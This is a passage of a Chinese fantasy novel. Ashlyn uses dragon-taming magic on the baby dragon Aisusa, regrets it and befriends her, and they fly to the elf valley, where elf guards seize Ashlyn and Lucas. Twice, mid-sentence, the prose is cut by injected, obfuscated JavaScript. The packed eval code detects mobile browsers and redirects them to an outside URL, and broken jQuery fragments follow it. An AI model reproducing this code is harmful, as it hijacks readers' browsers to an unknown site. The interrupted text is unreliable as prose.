家庭狗血剧,并不在阿什琳心中的角色扮演游戏里。 说真的,她长得很像龙妈妈吗? “训龙魔法。”卢卡斯低声提醒,“感受龙的血脉,控制她,别忘了。我们要的只是一发精准无比的火焰。” “非常好!”阿什琳大声说,“现在你就是我最亲爱的女儿了,我的爱苏萨。不过,你觉得这两个小家伙该扮演什么角色呢?” 爱苏萨金黄的大眼睛盯着黑猫和灰老鼠,绞尽脑汁。 “晚餐?”她提出一个非常合理的建议。 “什么?!”扎克连连后退。 “哦,看在龙祖的份儿上,那太残忍了,我的孩子。”阿什琳挡在他们身前,已经深深入戏,“其实——他们是我送你的生日礼物。” 卢卡斯猛地扭头看她,差点把头扭断:“这可不在我们的计划里!” 扎克吱吱叫起来:“叛徒!” 爱苏萨跺着脚,声音热情洋溢:“太棒了!谢谢妈妈!” 她一爪抓起卢卡斯,一爪抓起扎克,满心欢喜地抱了一会儿,轻柔地将他们放在玩偶间。 猫和老鼠吓得一动也不敢动,和那些僵硬或瘫软的玩具也没什么区别。 “那么,亲爱的爱苏萨还想干什么呢?” “我想……听妈妈唱歌!” 哦,不。 阿什琳宁愿与一头凶狠的成年巨龙打一场硬仗。 “咳咳咳……其实,妈妈今天感冒了,咳咳,不适合唱歌。” 爱苏萨的表情立刻变了。 “可是我就想听妈妈唱歌。”她那双大金眼睛中泪水盈盈,“我已经很多年没有听到过歌声了……” 阿什琳望向卢卡斯和扎克。那俩家伙厚颜无耻地点点头。 “你可以的,阿什琳。”扎克鼓励道。 “只要音比你的拉丁语准就行了。”卢卡斯也鼓励道——如果这也算是鼓励的话。 尽管喜爱音乐,但阿什琳向来五音不全,唱的歌连乌鸦都不敢听。她想起萨诺瓦曾为她唱的一首歌——《树妖与少年》,精灵大乐师艾丹谱写。 她只好轻轻哼起来。 在自己哼歌时,环境总是最安静的。 好的音乐有夺人心魄的力量,比如说精灵的魔法便来自音乐。阿什琳的瞎哼哼自然无法夺人心魄,但也有力量流淌。 龙的血脉,阿什琳在心中默念,回想昨天学习的魔法。 训龙与训狗不同,龙战士们往往没有多少时间真的“训”龙。“训龙”真正的含义,是用魔力与巨龙建立精神连接,向其传达命令。 龙是一种极其特殊的魔法生物,它们既不像精灵或矮人那样有类人的外形,又不像被困在迷宫中的怪兽那般愚蠢。 它们是拥有智慧的非人魔法生物,这令人们有能力与它们建立连接的同时,又不必有道德负担。 这样的连接可以以任何方式建立,比如说,擅长魔药的龙战士或训龙法师就可以给龙和自己下药;喜爱念咒的,也可以原地开始吟唱咒语——要是不怕龙嫌吵。 当然,龙可以违背命令。 但通常情况下,一旦建立了连接,就意味着龙认可了你,便也“臣服”于你。 在黑暗女巫辛西娅的时代,龙被黑巫师掌控,所及之处无恶不作。辛西娅被诅咒在迷宫中之后,黑巫师的势力褪去,但龙依旧想获得狄亚斯的领土。直到二十年前,它们才被彻底驱逐。 龙战士虽名战士,却比黑巫师温和许多,只是命令巨龙远离狄亚斯,命令失败的情况下才与之决一死战。 这条龙比他们计划中好对付得多,至少卢卡斯那些复杂的作战策略(包括龙骨弓的使用)可以省去了。 阿什琳现在充满自信。一条龙宝宝,当然能被她轻而易举地驯服。她的歌声也越来越有底气,接近高潮。 就像卢卡斯说的,她不需要任何道具。媒介,反而会成为她的负担。 她盯着爱苏萨的双眼,一边哼着旋律,一边试图感到连接。 爱苏萨是一个幼小、天真的灵魂,阿什琳很快就感应到了她。这样的连接令阿什琳心情愉悦,好像整个人都被晴天照亮一般。 阿什琳感到自己似乎变得轻飘飘的,像朵云。 爱苏萨在她脑子里发出困惑的声音: 「妈妈?」 「嗨。」 「这也是游戏的一部分吗?」爱苏萨激动地问,「为什么我们在脑子里对话?」 「没错,因为这样更好玩了呀。」阿什琳回应,「接下来,咱们可以开始做饭!你想吃什么呢,乖孩子?」 「生日蛋糕?」爱苏萨满怀期望。 「难度有点大。烤肉怎么样?」 「太棒了!有羊吗?」 阿什琳望向玩具堆。 说实话,这有点残忍。但她还是拎出一只破破烂烂的绵羊布偶,并掏出龙牙木火把。 对不起了,小羊。至少它是玩具。 「烤全羊。不过……我们没有火。」 阿什琳举着火把,将绵羊玩偶放在上面,努力将全部魔力注入她与爱苏萨之间的魔法连接上。 「你可以为咱们的烤全羊喷一次火吗,亲爱的?」 一种振动,在她与巨龙的连接上回响。 要是她只是用嘴说出这句话,是不会有这种效果的。毕竟,她的意图太明显了,就算龙宝宝肯定也能看出来。人类不可能与龙陪玩还特意要火。龙火具有强大的魔力,任何龙都不会轻易喷出。 爱苏萨非常犹豫:「一定要真火吗?」 「当然!不然晚饭怎么吃呢?」 振动更加强烈,火苗似乎已经蔓延进阿什琳的脑子。她能感觉到爱苏萨在动摇,真的想要喷出火。龙宝宝的腹部开始发光,周身的温度变高。 「可是,别的龙都说不要随便喷火,坏人会利用龙火。」 「那是在另一个世界。」阿什琳赶紧道,「我们在过家家,对不对?我现在是你的家人哦。」 这句话,是她今天犯下的最大的错误。 爱苏萨的龙火戛然而止,嘴巴只是冒了个烟。 她突然张开翅膀,冲阿什琳吼了一声,飞回自己的玩具堆。 卢卡斯和扎克赶紧将头埋在别的玩具里。 “我没有家人!”爱苏萨切换回现实语言,“妈妈爸爸走了,再也不会回来了,因为他们喷了火。他们都被和你们长得一样的人杀死了!” 阿什琳的心愈发冰凉。 “天哪,我很遗憾……” “你以为我不知道你想干什么吗?”爱苏萨盯着阿什琳,“妈妈说得对,人类都是这样的。他们会精神控制你,命令或诱惑你做某件事——那是你们的训龙魔法,对不对?现在,你也想要诱惑我,给这只羊施展黑魔法!” 阿什琳果然低估了龙宝宝的智商。 “当然不是这样!”她没撒谎,毕竟她的确没有想给绵羊布偶施黑魔法。 “哼,那你们是干什么来的?我知道人类不会派巨龙陪玩员来!你们都是大骗子。” “我们只是……我们需要你的火。”阿什琳说道,“但不是为黑魔法,而是为了解除一个诅咒。” “诅咒?” “阿什琳,够了。”卢卡斯的猫语从玩具堆响起,“不要偏离计划!龙族永远也不能知道月神的谜语。如果他们也寻找四样物品,解除了龙战士的训龙魔法呢?我们并不清楚那道咒语的威力,也许它能解除的不仅仅是诅咒。想想后果,别冲动行事。” “可是——”阿什琳顿了顿,“这么做是不对的。她不愿意喷火。” “不愿意?”卢卡斯语气尖刻,“你的同情心多到要分给曾肆虐大陆的魔法生物吗?现在可不是考虑龙族外交友好政策的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239033|181872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候。” “我只是……” “你刚刚都快成功了!驯服她,阿什琳。” 爱苏萨危险地眯起眼睛:“你们在喵喵什么?” “没什么。”阿什琳深吸一口气,回到意念上。 卢卡斯说得对。人类和龙族不能相提并论,她没有必要花心思同情一条龙。 龙族曾杀害了那么多人类,引来无数祸害。她连自己的族人还没来得及顾上,为什么要管龙怎么想? 「对着火把喷火吧,爱苏萨。」魔法在一条红绿交织的丝线上跃动,仿若点点水波,「喷火……喷火……」 「不!」 「火焰,爱苏萨!燃烧的火焰。」 幼龙剧烈地摇着头,爪子将地面划出又长又深的痕迹,发出刺耳的声音。 尽管做了充足的心理建设,阿什琳依然不忍心继续,但卢卡斯说: “加油,你快成功了!” 于是她选择闭上眼睛,不去看爱苏萨的样子。 「滋滋作响的火焰。你只要往这个火把上喷火,然后放我们安全离开。」 她汇集起土与风元素,强化精神连接,让昨天学习的魔法压迫着龙的灵魂。 「喷,火。」 终于,滚烫的火焰从龙口中涌出,精准无误地喷在龙牙木火把上,无比明亮。 扎克欢呼雀跃起来,阿什琳则纠结地看向那头龙。 一方面,她自然而然地为爱苏萨感到难过——被魔法从精神上强迫“驯服”,喷出自己珍贵的、有魔法的火焰;另一方面,她又责怪自己的难过,因为这显然毫无必要:她是人类,而龙是人类的敌人。 想想那些被龙屠杀的无辜之人。她记得萨诺瓦给她讲的那些故事:龙牙村沦为烈火之地,百姓在尖叫中化为灰烬…… 尽管,这并不是爱苏萨做的。是她的族类。 这么做没有错,她对自己说。反正,他们的理由是正当的。如果爱苏萨真的理解他们的初衷,肯定会同意喷火的。 她太多愁善感了,这只会拖累他们的进度,导致卢卡斯无法解除诅咒,最终彻底变成猫。 “我很抱歉,爱苏萨。我知道你不想这么做,但我还是强迫你做了。但是,我别无选择。” 爱苏萨累得瘫在地上,像一条巨大的蜥蜴,头埋在爪子里。 “走开,我不想和你说话。” 阿什琳将怨气撒在卢卡斯身上:“这下你满意了吧,殿下?强迫一头小龙宝宝的感觉怎么样?” 不过话一出口她就后悔了。卢卡斯也没做错什么,作为王子,他必然不会站在龙这边。 然而,黑猫久久地凝视着火焰,像见鬼似的。 “这不对劲。”他说道。 阿什琳大松一口气。 “没错!精神控制什么的太过分了——” “不,”卢卡斯依然观察着火,“我是说这火焰本身不对劲。它太……轻薄了。龙的魔火不是这样的,我在书上见过。” “可能画师技艺不精。”扎克猜测。 “你不信任狄亚斯古代最厉害的画师?” 就在这时,一阵风拂过洞穴。 龙火摇曳着,竟熄灭了。 扎克紧张地问:“你不是弄了个保存咒语什么的吗?” “没错,而龙火会随着我的意志燃起。”阿什琳找回自信,“瞧。” 她瞪着火把,但结果只是让自己显得像个智障。 什么也没发生。 “可能我不熟练,等一下。” 她又试了几次,但火把依旧空荡荡。 “不可能。”阿什琳开始惊慌了,“我明明施咒成功了呀!现在我也能感受到咒语就在火把上,理论来讲是绝对有效的。” “怎么会这样?”扎克问。 “因为,”卢卡斯回答,“那不是真正的龙火。” 16. 翱翔时刻 龙火的力量究竟有多强大呢? 最为人们熟知的,当然是物理上的杀伤力。一天之内,一座繁华了几百年的城市,也能化作焦土。 不为人们熟知的,但百姓有所耳闻的,则是龙火的黑魔法效应。 与普通火焰不一样的是,龙火能够腐蚀灵魂。具体如何腐蚀、腐蚀到什么程度,则无人知晓。因为被腐蚀的人早已失去神智,被困在龙息山,迷失方向、自寻死路。 而这样独特的魔力,也令龙火在外观上呈现不一样的特征。 “龙火颜色更暗沉,色调更冷,且质地更厚重。龙火和普通火焰的区别,就像绸缎和薄纱。”卢卡斯分析道,“这条龙骗了我们。她在喷火时,故意没有施加龙族魔法。” “我不这么认为。”阿什琳皱眉,“刚刚我命令她时,她真的被迫服从了。如果她有所欺瞒,我肯定会知道的。” 《训龙魔法大全(10周年纪念版)》显然并不全面,阿什琳心想。 她现在明白了。 龙族魔法的本源,和人类魔法并没有区别。 所有人似乎都忽视了这一点。 灵魂与心灵,是魔法唯一的扎根之处。 倘若自己无心施法,阿什琳再怎么“驯服”,爱苏萨都不会真正喷出龙火的。 正如她在龙晶洞窟时,龙火的黑魔法用恐惧腐蚀灵魂,而充满恐惧的心灵,又能激发引领道路的魔法。 她想起在酒馆的时间循环,那样的黑魔法令人们困在同一段时间,完全违背他们的意图。 如果她只是一味地用魔法驯服、强迫与控制,那又与黑巫师有什么区别? 阿什琳不顾卢卡斯和扎克的阻拦,缓缓来到爱苏萨面前。 “嘿,还想一起玩吗?”她轻声问道,“这一回,不用喷火。我也不会强迫你做任何事。” “精神控制糟透了。”爱苏萨抱怨,“你得对龙祖神发誓不这么做。” 阿什琳扔下火把和法杖。 “我对龙祖神发誓,再也不用魔法强迫你。” “你在干什么?”卢卡斯难以置信,阿什琳没有理会。 “我想听听你的故事,爱苏萨。”阿什琳真诚地说,“你为什么不和其他龙一起离开呢?” 龙像小狗一样坐了起来,态度有所缓和。 “人类把我的族类赶走时,我是年龄最小的那个。”爱苏萨说,“他们好像没有能力强迫我,因为我太小了,不足以与他们的魔法产生连接。但是他们也没有杀我…… “有一个男孩出来保护我,说我的价值比他们想的高得多。他救了我,对我很好,我很喜欢他。” 这就是为什么爱苏萨一开始对他们的到来没有戒心,反而异常高兴,阿什琳心想。 卢卡斯敏锐地眯起眼睛。 “这个男孩,他叫什么名字?” “叫诺什么……”爱苏萨甩甩尾巴,“诺克斯。” 三个人震惊地面面相觑,脊背发麻。 怎么可能? 无论是扎克还是萨诺瓦,都见过诺克斯,知道他是一个和他们差不多大的孩子。 龙族战役是二十多年前的事,他们都还没出生呢,诺克斯怎么会在场? “他是不是身材纤瘦,黑发黑眼,长得像吸血鬼一样?”扎克问。 爱苏萨点点头,有些欣喜:“哇塞,你也认识他?” “算是吧。”扎克嘟囔。 “那你后来为什么不离开?”阿什琳问。 爱苏萨垂下头。 “我不想一条龙自己飞。我一直在等……等一个朋友,一个家人。” 阿什琳伸出手。 “那么,你现在等到了,”她微笑道,“真正的世界和真正的家人在外面,爱苏萨,不在这些玩具里。” “她真是彻底失去理智了。”卢卡斯对扎克说。 然而,扎克也离开卢卡斯,费劲地叼起一个布娃娃——莉娜公主,来到爱苏萨面前。 “我知道离开家人是什么感受,”他认真地看着巨龙,“我也害怕被家人抛弃,怕他们觉得我是另类。如果你愿意,我也想和你一起飞。只有一个条件——将村民孩子们的玩具都还回去。” 爱苏萨依依不舍地看着那些玩具。 “那可是我花了很久找到的呢。”她有点委屈地说。 “但它们不是你的,它们属于其他孩子。”扎克说,“你不愿意被强行喷火,孩子们也不愿意被强夺取玩具。” 爱苏萨拱起巨大的身子,将脑袋埋在玩具堆里,闻了很久很久。阿什琳差点以为她要睡着了。 最后,龙总算答应:“好吧,我会还给他们的。你们都要来和我玩吗?” 一致地,他们都看向卢卡斯。 卢卡斯耳朵向后贴,显得不怎么高兴。 “啊,我也愿意和你一起飞。”黑猫不情愿地说,“就是有个小小的请求——飞行的目的地,可不可以是精灵谷伊洛文亚呢?” 真是无缝衔接的冒险计划。 爱苏萨的金色的眼睛炯炯有神。 “当然可以!今天晚上,你们来陪我兜风!我想……看看星空。” ———— 夜晚的龙息村静得像个沉睡的婴儿,很少有成年人出来活动——对猛兽与龙火污染的恐惧,深刻在他们的记忆中,如同一道永不泯灭的伤疤。 除了兽骨风铃与蝉鸣,唯一一点声响来自于夏洛特·兰穆农场边的篝火。几个胆大的小孩们围在劈啪作响的篝火边,向更小的孩子讲述龙的故事。 与村中长辈不同,孩子们从未真切经历过龙之战役。于他们而言,一切不过是故事与传说。 “……战士们以为自己终于击退了巨龙。可他们不知道的是,还有一条龙依然在高空中自由翱翔。”最大的孩子用吓唬人的语气,阴森森道。 “是哪条龙呢?”小孩兴奋地问道。 一个抱着布娃娃的小女孩猛然瞪大眼睛。她叫露西,是农场主的女儿,前不久刚刚被一条大龙“袭击”,毫发未伤,但丢了最心爱的娃娃。 “是那条龙!”她指着天空,大叫道。 所有孩子的视线都随着她的手看去。 意识到自己看到什么之后,他们惊叫起来,有的迅速奔回家中,有的则激动不已地想要看得更为清楚。 露西是后者之一。 那条龙通体暗红,身形巨大,但头部却显得十分幼小,倒有点像只可爱的蜥蜴。 此时,它像只大鹰一样掠过夜空,留下一道优雅的红痕,像给夜幕划开一道伤口。 银白色的月光在鳞片上朦胧地闪烁,让它看起来不再是远古的灾厄,而是星空下的奇迹。 龙背上,坐着一个金色卷发、绿斗篷的女孩,神采飞扬地大笑着,好像一只快活的金鸟。她的帽子上有只老鼠,紧紧抓着帽檐。 女孩身后则是一个深色头发的男孩,神情紧绷,面色铁青,像要吐了一样。 龙的大爪子里,握着一个布娃娃。 “莉娜!”露西欣喜地叫道。 龙在她面前轻盈降落。 露西没有丝毫退缩,将莉娜抱回来。 巨龙发出一阵叽里咕噜的声音。 “她说她很抱歉夺走了你的布娃娃。”阿什琳翻译,“以及所有其他孩子的玩具。” 金发女巫不知从哪掏出一口大麻布袋,扔给孩子们。 “这些是你们丢失的玩具,现在小龙爱苏萨将它们全部还给你们。”她宣布。 其他孩子也怯生生地过来,从袋子里翻找起自己遗失的玩具。 “谢谢你,阿什琳姐姐。”露西感激道。 “没关系,我可是在你们这住了一夜呢。”阿什琳笑着说,“今后,爱苏萨不会再留在龙息山了。山上那些被污染的水晶与花草,应该也会随着时间渐渐被自然净化。你们再也不用担心龙了。这里,就是狄亚斯与龙真正的终点啦。” 说罢,她拍拍爱苏萨的头。巨龙张开双翅,遮住月光,再次腾空而起。 凉爽的夏风拂过阿什琳的面颊,星光与月光交织缠绕,像一首从另一个国度传来的歌谣。 她从未感觉如此清爽,好像世间所有烦恼都抛到九霄云外。龙鳞坐着虽然并不舒服,但此时她也完全不在意了。 此刻的她,不再是训龙者,不再是魔法的执行者。 只是一个和朋友一同飞翔的女孩。 龙溪村在他们身下变得越来越小,最终化为一抹黑暗中的小亮点。他们掠过龙息山的山顶,也终于越过狄亚斯的边境。 云雾在他们身周缭绕,令阿什琳想起萨诺瓦银色的魔法。 她离云朵、繁星与银月是那么近,仿佛抬手就能抓住月神的影子。 卢卡斯坐在她身后,身体僵硬而不知所措,似乎不知道手该往哪儿放,又怕自己从龙背上掉下去。 龙背空间很大,但能坐的地儿就不大了。 寂静之中,阿什琳只能听到自己和卢卡斯强烈的心跳声。 他的胸膛若有若离地贴着她的后背,书卷的气息将她包围。她能感受到脖颈处温热的呼吸。 阿什琳回过头,本想说几句玩笑话,却猝不及防地对上那双明亮的蓝色眼睛,差点撞上他的鼻尖,一时间忘了所有台词。 太近了,她有点不自然地想。 月光下,卢卡斯的容貌被夜色冲淡,但那股典雅的气质仍存。现在他没方才那么紧张了,似乎总算适应了自己在龙背上翱翔这一事实。 面对阿什琳突然的回眸,他看起来一时惊讶,但很快便莞尔一笑。 他仍有些坐立不安,一直没找到合适的姿势,却没有抱怨。 “你——嗯——”阿什琳过了一会儿才找回自己的声音,“你现在不想吐了吧?” “感觉好多了,”卢卡斯说,“主要是我今天也没吃什么东西。” “那就好,我的斗篷可是夏洛特送的。” “听着,我不该强迫你训龙的,”卢卡斯轻声道,“龙与人的战争是一场种族、领土与利益之战,没有谁的立场绝对正义——更早以前,狄亚斯也是巨龙的领土。更何况,爱苏萨只是个龙宝宝,没有做错什么,更不值得被训龙魔法操控。” 他温柔地抚摸着爱苏萨的鳞片。 “原谅我,好吗?” “哼。”小龙喷了喷气,“这只小猫变成人后,脾气竟然好多了。好吧,我原谅你。” “你也原谅我吗?”扎克问。 “当然啦,小老鼠。”爱苏萨道,“你也该原谅我,我刚开始还以为你是零食呢。” “习惯了。”扎克嘟囔,“卢卡斯一开始也以为我是零食。” “嘿,我才没有!” 片刻的沉默。 “我只是担忧,如果龙知道了关于诅咒的事,可能会对狄亚斯带来不好的影响。”卢卡斯叹了口气,“我可以相信你吗,爱苏萨?” 爱苏萨保证道:“我不会用你们那些乱七八糟的魔法做任何事的,也不会告诉其他龙。” 于是,他们三个将谜语与诅咒的故事告诉了巨龙。 “那么,这就是你们想要龙火的原因。” “没错。”阿什琳犹豫一下,“我不会强迫你,爱苏萨。我只是……在恳求。如果没有你的龙火,我们永远无法解除卢卡斯的诅咒。而更可怕的是……” 她深吸一口气。 “有坏人也想要龙火,我们必须在他之前得到。” “等一下,”卢卡斯说,“诺克斯应该还不知道谜语,不是吗?他的血祭失败了,萨诺瓦亲口说的。” “他是这么说的没错。但那天在龙晶洞窟,我自己的幻境中,我看到了森林女神。她警告我时日无多,敌人已经知晓咒语,会比我们更快。” “但那是你的幻境,有没有可能她只是你的恐惧?” “是我的恐惧,但也是真的。”阿什琳肯定道,“我有感觉。” 她想了想,还是没有告诉卢卡斯关于他会永远变成猫的事。 此时此刻,他们正一起骑龙翱翔,不能让更多坏消息破坏这样美好的夜晚。 “暂时忘记这些吧。”她轻松地说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239034|181872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“我们可是在和龙飞呢!还有比这更美妙的吗?” “我连马都没怎么骑过,就开始骑龙了!”扎克说。 这时,爱苏萨突然来了个刺激的俯冲,像一个恶作剧。 阿什琳尖叫起来,不是因为恐惧,而是因为兴奋。她低伏在龙背上,紧紧抓着龙角,感觉心还悬在高空,胃里痒痒的。 耳边的风呼啸而过,她不得不腾出一只手扶住帽子,以防小扎克飞出去。 卢卡斯可并没有她这么喜悦。 “太阳神啊!” 重力与速度使他不得不贴向阿什琳,两人之间完全失去距离。 她的心随着速度的增加不由自主地加快,卢卡斯也同样如此,整个世界都仿佛在失速、颤动。 阿什琳狡黠一笑,突然将他的手环在身前。 “没什么好别扭的,殿下!你也不想死于高空坠落吧?” 卢卡斯被风吹得完全睁不开眼,黑发乱得像鸟巢。 “我只是觉得这好像有失风度——” “风度比你的生命还重要?” 卢卡斯妥协了,认命地抓住阿什琳的衣角,头几乎靠在她肩上。 “爱苏萨,求你停下来!”扎克尖叫,“我要啊啊啊啊啊啊飞啊啊啊啊走了!!” 爱苏萨大笑起来,总算减缓速度,恢复刚才的平稳。卢卡斯立刻后退,和阿什琳保持距离。 “这是对你们刚才‘驯服’我的惩罚。” 阿什琳觉得,比起惩罚这更像奖励。她从没有过如此刺激的体验,甚至希望再来一次。 他们飞了很久很久,阿什琳慢慢地睡着了。 醒来后,太阳还没有升起。云层太厚,她看不清地面的景象。爱苏萨飞得越来越慢,地面也离得近了。 树木放大,风声渐停,他们的心也归于平静。 终于,他们回到了陆地,身处山谷。 起初,阿什琳还以为山谷间的那些亮点是灯。可作为灯,它们也太过迷你。 定睛一看,她才发现它们其实是魔法颗粒与散发金光的蘑菇。 所有柏树和橡树都被萤火虫一般的魔法颗粒环绕着,亮晶晶的,像森林中流淌着小段小段的银河。 数不清的光亮蘑菇生长在草地上,替代着蜡烛和油灯。 “这儿就是伊洛文亚的边境。”爱苏萨确信地说,“小时候妈妈给我讲过伊洛文亚的故事,它就在这附近。” “谢谢你,爱苏萨。”阿什琳说,“但是……” “你还有请求,对吗?” 阿什琳点点头,掏出龙牙木火把。 “作为朋友,我希望你能送我们一点龙火。” 这一回,爱苏萨没有迟疑。她憋足了气,精确无误地朝火把喷出热流。 深红色的火焰鲜活地、有节奏地跳动着,如同魔法的心脏。 卢卡斯眼前一亮。 “这就是真正的龙火!”他着迷地观察着,“太神奇了。扎克说得对,再厉害的画师也没画出龙火真正的模样。要是我带了速写本,现在就应该画下来……” 阿什琳再次向爱苏萨表达感激,和卢卡斯从龙背山下来。她小心翼翼,生怕踩到发光的蘑菇。 “我想,我们该分别啦。”阿什琳说,“对我们来说,旅程才刚刚开始呢。” 爱苏萨目光哀伤。她张开翅膀,将阿什琳抱入怀中。 “我不想让你走……‘妈妈’。”她开玩笑般地说。 “但是你不能进入精灵的领地,对不对?而且,你的兄弟姐妹还在等你。” 爱苏萨似乎游移不定,但最后还是叹了口气:“是的,我会去寻找我的同族,他们应该远居东方。” “我和你一起去。”扎克说。 卢卡斯睁大眼睛:“什么?扎克,你应该留下,我们一起想办法解除咒语。” “不。我觉得,是时候踏上一场真正的旅行了。”扎克坚定道,“我想去见见其他龙族,哪怕一眼也好。之后,我会努力回来……解除诅咒,和家人团聚。希望那时,我已经是不一样的自己。” 阿什琳一时间不知该说什么。她只是抱了抱老鼠。 “那么,祝你们好运。” “你们也是。”扎克道,“一定要小心诺克斯。看来,他并没有我们想得那么年轻,是不是?” “这很难解释,”卢卡斯说,“要么他们是两个人,要么,诺克斯掌握了某种保留青春的方法……无论那种可能,可都不怎么样。” “临走之前,我还想送你们一样东西。”爱苏萨说着,冲空气喷出一团亮晶晶的火焰。 一个小瓶子掉下来,被阿什琳接住。瓶子里,盛着闪闪发光的紫罗兰色药水。 “这是之前那个叫诺克斯的男孩送给我的。他说,这是受过月神祝福的幻化魔药,能够将一件物品伪装成另一件与之十分相似、但本质不同的物品。 “说实话,我没太听懂,也不明白他为什么要送我这个。” 阿什琳小心地观察着药水,没有发现黑魔法的迹象。 诺克斯为什么要送一条龙宝宝这样的药水呢? “或许他本打算将爱苏萨幻化成更可怕的龙,或者其他什么怪物。”卢卡斯解答了她的疑问,“但因为爱苏萨当时年龄太小,所以他无法主动施展这种魔法,便假意送给她。其实,是希望她不小心一饮而尽。” “那太坏了。”爱苏萨看起来很受伤。 卢卡斯警告:“要是我,可不会轻易收下这份礼物。诺克斯不是好人。” “但这瓶魔药似乎没害处,而且我也用不上。”爱苏萨说,“总之,回头见啦……‘妈妈’和‘生日礼物’!” 扎克抓着龙背,爱苏萨叫了一声。 “再见了,伙计们!”老鼠高声道。 老鼠和龙飞向天空,渐渐消失了。 阿什琳和卢卡斯望着他们的背影。 卢卡斯开口:“接下来,我们应该谈谈在精灵谷的计——” “接下来,”一个冰冷的声音从他们背后响起,“你们应该前往地牢。” 17. 初见偶像 冰凉的剑刃抵在他们的脖子上。 卢卡斯发现自己竟然已经习惯了这种事,这可不是什么好现象。当初他在酒馆,也是这么被猎人威胁的。 此时,他们被一圈身材高挑的人包围着。不,不是人——卢卡斯看清了他们尖尖的的耳朵。 精灵。 七个精灵。 他们步伐异常轻盈柔,以至于卢卡斯和阿什琳完全没注意到他们的接近。柔和却冰冷的光辉在他们身上若隐若现,简直不需要再提灯了。 卢卡斯不禁怀疑,精灵是不是每天都在吃发光蘑菇,好让自己也一直发光。 这是他第一次见到活生生的精灵。与传说中一样,他们个个高大而美丽,有着月色一般浅而柔顺的长发。 威胁着他的那个精灵是个扎着马尾的女性,颧骨高耸,目光冷峻。 “一个小女巫和一个人类男孩,午夜时分出现在伊洛文亚的边境是有何贵干?” “我们绝无恶意。”卢卡斯举起双手,“只是前来拜访的旅行者。” “撒谎!”精灵的剑离卢卡斯的喉咙又近了点,“你以为,一条巨大的火龙在我们的领域上空飞,我们会不知晓?什么样的‘旅行者’会特意骑着龙来伊洛文亚?” 那个剑锋指着阿什琳的精灵也开口:“尽管龙与我们已经很多年没有交集了,但人类与龙的关系灵尽皆知——只有黑巫师才会骑龙飞行。” “我不是黑巫师。”阿什琳澄清,幸好她刚才已经把龙火熄灭了,不然只会百口莫辩,“我们和那条龙是好朋友。事情有些复杂,但我们是来向精灵寻求帮助的。” 马尾辫精灵哼了一声。 “一个说是旅行,一个说是寻求帮助……作为同伙儿,你们的口供简直毫无默契。”她狐疑地打量着他们,目光在阿什琳身上停留,“你穿的是精灵的斗篷。” “是一个朋友送的。难道这不能说明我们毫无恶意吗?” 马尾辫精灵冲周围的精灵点点头,示意大家放下武器。 卢卡斯猜想,她这么做的原因,除了阿什琳的精灵斗篷以外,大概是他们两个看上去的确没太大攻击性。 阿什琳个头矮小,帽子和斗篷对她来说都大得有点可笑,更何况在经历了飞行后它们都被风吹得乱七八糟,还插了不少树叶。比起黑巫师,她更像个迷路的女孩。 而他自己是什么样,他压根儿不敢想象——衬衫破破烂烂、头发凌乱如麻,可能看着跟流浪汉没什么两样。要是伊莱恩见到他现在的样子,绝对可以拿来说笑一整年。 “跟我们走,你们得去见梅莉娅陛下。” 说完,马尾辫精灵狠狠瞪了他们一眼,似乎对不能立刻杀了他们感到很遗憾。 梅莉娅是伊洛文亚的女王,卢卡斯的父亲曾与她会过面,签订和平协议。 精灵与人类的相处比龙与人的相处要和谐得多,但并不意味着人类就会受到精灵欢迎。 卢卡斯认为,如果阐明自己其实是王子,恐怕精灵只会更加防备。 眼下,还是假装他们只是弱小无辜、急需帮助的旅行者更为明智。 精灵们贴心用锁链将他们的手分别绑起来。 “魔法枷锁。”马尾辫精灵介绍,“再厉害的巫师也无法施法。” “妙极了。”阿什琳嘀咕,“第一次见到自己崇拜的种族,待遇就这么好。” 他们穿过狭窄的山谷,视野渐渐开阔。 卢卡斯只在书画中见过伊洛文亚,但就如先前的龙火一般,语言与图画在现实景象面前苍白无力。 银白色的宫殿自山谷升起,顶着深蓝色的穹顶,在夜里泛着清冷的光芒。 山谷两侧依着山势,矗立着无数高耸的精灵建筑。它们由同样洁白的大理石和月光石建成,流畅而优雅,尖顶直指星空。 恍惚间,卢卡斯还以为自己上了夜晚版本的天堂。 不过,还是有什么东西不对劲。虽然卢卡斯从未来过精灵谷,但某种直觉告诉他,这里本可以……更美妙。 优美的建筑投下的阴影里,好像藏着诡异的事物,从遥远之处盯着他们。 “这太美了。”阿什琳深吸一口气,显然完全忘记了他们的处境。 她身后的精灵卫兵不得不推了她几下,似乎才令她想起怎么走路。 空气中弥漫着迷人的花香,让卢卡斯昏昏欲睡,但一想到自己被强大的精灵士兵押着,他又清醒起来。 路上几乎没有其他精灵,寥寥无几的几个,也只是快速而惊恐地看了他们一眼,赶紧回家。 宫殿前是一座花园,盛开的白玫瑰间,屹立着其七座大理石雕像。 卢卡斯迅速浏览着它们:编织长衣的裁缝、弹奏竖琴的乐师、描绘风景的画家、吟唱歌谣的诗人、翩翩起舞的舞者、夸张谢幕的演员,以及思考结构的建筑家。 每一座雕塑都刻画得栩栩如生,仿佛它们只是被时间冻结的生命。 完全符合他对书中精灵族的印象——审美高雅、热爱艺术。 这与赫利安城大不相同。赫利安人倘若建造雕像,那要么是为祭祀神灵,要么是为歌颂英雄。 伊洛文亚的精灵,只是单纯崇尚艺术本身。 花园中央,是一棵古老的橡树——伊洛文亚的神树。 